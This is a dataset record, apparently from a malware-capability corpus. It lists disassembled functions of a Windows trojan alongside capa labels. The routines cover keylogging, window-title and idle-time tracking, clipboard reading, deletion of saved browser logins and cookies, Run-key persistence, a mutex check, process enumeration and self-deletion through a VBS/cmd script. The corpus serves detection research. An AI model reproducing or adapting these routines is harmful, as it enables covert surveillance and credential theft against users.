joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac24
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40ac42
cmp byte [edi + 0x4a], 0
je 0x40ae33
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x476ce0]
cmp eax, dword [ecx + 4]
jle 0x40ac8c
push 0x476ce0
call fcn.00434334
cmp dword [0x476ce0], 0xffffffff
pop ecx
jne 0x40ac8c
mov ecx, 0x476ce4
call fcn.00401f86
push 0x457f20
call fcn.004346be
mov dword [esp], 0x476ce0
call fcn.004342f5
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b852
test esi, esi
je 0x40ad61
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x476ce4
lea ecx, [esp + 0x20]
call fcn.0040b91a
test al, al
jne 0x40ad61
lea eax, [esp + 0x20]
mov ecx, 0x476ce4
push eax
call fcn.0040b83a
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00409044
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x47513b], 0
je 0x40ad30
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, edi
call fcn.0040b0b2
jmp 0x40ad61
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4666ec
push eax
mov edx, 0x4666f4
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
mov ecx, edi
call fcn.0040a584
lea ecx, [esp + 0x38]
call fcn.00401f09
mov ecx, edi
call fcn.0040b696
call fcn.0041ba34
mov esi, 0xea60
cmp eax, esi
jb 0x40ae1c
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40ad8e
cmp byte [edi + 0x4a], 0
je 0x40ae2a
call fcn.0041ba34
cmp eax, esi
jb 0x40adaa
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ad7e
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00441dc1
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041bbac
mov ecx, edi
call fcn.0040a584
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ac32
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ae3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40aed6
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041bbac
mov ecx, esi
call fcn.0040b0b2
lea ecx, [ebp - 0x18]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40aeca
cmp dword [esi], ebx
jne 0x40aebe
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a295
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b65c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40b680
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40b680
push esi
jmp 0x40b685
push 0x466468
mov ecx, dword [esp + 0xc]
call fcn.0040417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40b7fa
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x40a27d
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x40b829
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40a267
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040b7b7

Function at 0x40b960
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x4669b4
call fcn.0043c01a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40b9c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40b9bb
sub eax, 1
je 0x40b9bb
xor bl, bl
jmp 0x40b9e0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40b9d1
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402093
call fcn.0040c126
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b9ef
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x4669b4
call fcn.0043c01a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ba56
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40ba4a
sub eax, 1
je 0x40ba4a
xor bl, bl
jmp 0x40ba6f
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40ba60
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402093
call fcn.0040c126
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ba7e
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c01a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bc32
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
jmp 0x40bc66
test byte [ebp - 0x1d0], 0x10
je 0x40bc32
lea eax, [ebp - 0x1a4]
push 0x466ad4
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bc32
lea eax, [ebp - 0x1a4]
push 0x466ad8
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bc32
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bc19
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bc32
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bb39
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c126
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bc85
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c01a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bdcf
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
jmp 0x40be03
test byte [ebp - 0x1b8], 0x10
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40be28
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40be1d
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bd39
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40be05
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bd27
Function at 0x40be37
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004134f4
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660a4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bea4
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c126
mov bl, 1
jmp 0x40bf47
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40be89
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bbac
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041c1df
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40bf1d
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40be93
push ebx
push 0x466bf0
mov ecx, 0x475a00
call fcn.00406ae1
test eax, eax
je 0x40bf4a
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c126
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c0b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b19], cl
push edi
mov dword [0x472b28], eax
test cl, cl
je 0x40c10d
mov edi, 0x466c48
mov dword [ebp - 4], esi
mov ebx, 0x4752f0
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.0041344d
pop ecx
test al, al
je 0x40c10d
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.00413497
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c10d
xor al, al
jmp 0x40c11f
push esi
push esi
push esi
push 0x40bf5a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c29b
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043c00f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c30f
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c3e5
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c3b4
test byte [ebp - 0x2e0], 0x10
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f894
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f894
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c3f5
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40c31c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c3dd
Function at 0x40cc5b
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x472b33], 1
push ebx
mov bh, byte [0x472b31]
mov bl, byte [0x472b30]
push ebp
push esi
push edi
mov edi, 0x465e74
mov ebp, 0x4752d8
jne 0x40ccbd
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bl, 1
jne 0x40ccfe
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bh, 1
jne 0x40cd3f
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40cfb7
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x472d44], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40d74d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.0041279e
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.00413646
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d7ad
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b8c6
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bbac
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c00f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c33f
pop ecx
pop ecx
test al, al
je 0x40d918
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d918
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40f84b
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020df
call fcn.0041bf05
push 0
push 2
mov byte [0x474af4], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40fa59
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40fa52
mov ebp, 0x4674c0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040417e
mov ecx, dword [esp + 0x168]
push 0x4674bc
call fcn.0041bf33
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041badc
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041badc
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041c12b
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.0041bc6c
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041bc6c
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00406362
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00406383
pop ecx
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x70]
call fcn.00401fd8
lea ecx, [esp + 0x88]
call fcn.00401fd8
lea ecx, [esp + 0xa0]
call fcn.00401fd8
lea ecx, [esp + 0xb8]
call fcn.00401fd8
lea ecx, [esp + 0xd0]
call fcn.00401fd8
lea ecx, [esp + 0xe8]
call fcn.00401fd8
lea ecx, [esp + 0x100]
call fcn.00401fd8
lea ecx, [esp + 0x118]
call fcn.00401f09
lea ecx, [esp + 0x130]
call fcn.00401fd8
lea ecx, [esp + 0x148]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40f8af
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x410803
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x41093a
cmp byte [edi + 0x3d], bl
je 0x41093a
call fcn.00402e9d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0040de4b
pop ecx
pop ecx
test al, al
je 0x410859
xor al, al
jmp 0x41093c
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.0040520c
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0040247c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0040e1cf
sub eax, ebx
je 0x4108c1
sub eax, 1
je 0x4108c4
dec eax
sub eax, 1
jne 0x41092d
inc eax
jmp 0x41092b
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x410909
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.004024bc
mov ecx, eax
